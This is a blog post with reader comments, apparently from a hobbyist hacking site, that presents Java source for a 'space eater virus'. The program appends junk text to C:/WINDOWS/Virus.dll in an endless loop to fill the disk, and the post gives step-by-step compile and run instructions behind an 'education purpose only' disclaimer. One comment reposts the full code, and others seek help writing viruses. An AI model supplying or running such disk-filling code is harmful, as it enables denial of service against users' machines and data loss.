Hey guys. I'm back with some virus programming in JAVA. It's amazing that with some little logical concepts a Simple program can turn into a Virus. Here I'm going to show you how to create a Simlpe Space Eater Program using JAVA.
Warning:- This is for education purpose only. I'm not Responsible in case of any misuse .
without much delay lets get started:
Warning:- This is for education purpose only. I'm not Responsible in case of any misuse .
without much delay lets get started:
- Open Notepad and type the following virus code:
import java.io.*;
class Virus
{
public static void main(String ar[])
{
try
{
FileWriter f=new FileWriter("C:/WINDOWS/Virus.dll",true);
while(true)
{
f.write("Programming Is Such A FUN !!!");
}
}
catch(FileNotFoundException e){}
catch(IOException e){}
}
}
- Save it as Virus.java
- Now generate the byte code of program using Java Compiler.
- When you execute this program It will start eating the space of your C drive. To stop this virus simply close the command window.
- In order to recover the lost space of your drive. go to C:\WINDOWS and delete the file virus.dll (also from Recycle bin)
Explanation: On execution this program will create a file called virus.dll at the location C:\WINDOWS and start increasing its size by sending the junk data into it which automatically increase the size of the disk.
Warning: you can try this on your computer too. lol :P
Notice: For any issues related with Program Compiling or JRE take a look at Compile JAVA program. For any queries realted with concept of this program ping me on FACEBOOK
15 comments
Click here for commentshii
Replykindly help me to create an antivirus and virus using Java
please write it step by step.
i will Making Anti-Virus, which holds the virus
kindly help...
hiiii in my project final
Replyi will Making Anti-Virus, which holds the virus
i need help
Writing an Antivirus takes lots of time and hard work as you need to include multiple virus definitions with it.
ReplyBut it also seems that you don't have much time though I suggest you to go for any open Source projects. There are around 103 projects currently running. I would suggest CalmWin.
Drop a mail in my inbox with details. I'll try to help in every possible way. :)
hii..i'm try to doing this program but when i try to execute this, there are some error that say "could not find or load main class virus"..could you tell me what the problem?
ReplyAfter copying the code you also need to compile it in order to get the virus.class file.
ReplyRefer to this for compilation process
http://hackthedark.blogspot.com/2011/09/install-jdk-and-run-first-java-program.html
NICE DEAR
Replymudu
Replyhi i have an antivirus i developed it in my project in java, its called c-worm scanner specialy designed to detect c-worm..
Replyie the network virus.if u want a copy of source code ,,just e-mail me..my id is:-mytricksplus@gmail.com....enjoy!
Actually I don't want this code.ok........................
ReplyPavan519...
helo this program is when activate run time or compile time
ReplyI m getting an error while running in cmd : exception in thread "main" java.lang.NoClassDefFoundError:
Replydoes'nt work
Replyfor those who face this error
Replyexception in thread "main" java.lang.NoClassDefFoundError:
you must install jdk inorder to run then
in cmd go to the directory that you saved Virus.java and type
javac Virus.java //this will compile your code and generate Virus.class
to run your code type
java Virus
import java.io.*;
Replyclass Virus
{
public static void main(String ar[])
{
try
{
FileWriter f=new FileWriter("C:/WINDOWS/Virus.dll",true);
while(true)
{
f.write("Programming Is Such A FUN !!!");
}
}
catch(FileNotFoundException e){}
catch(IOException e){}
}
}
Its not a virus,simple file handling programme
ReplyConversionConversion EmoticonEmoticon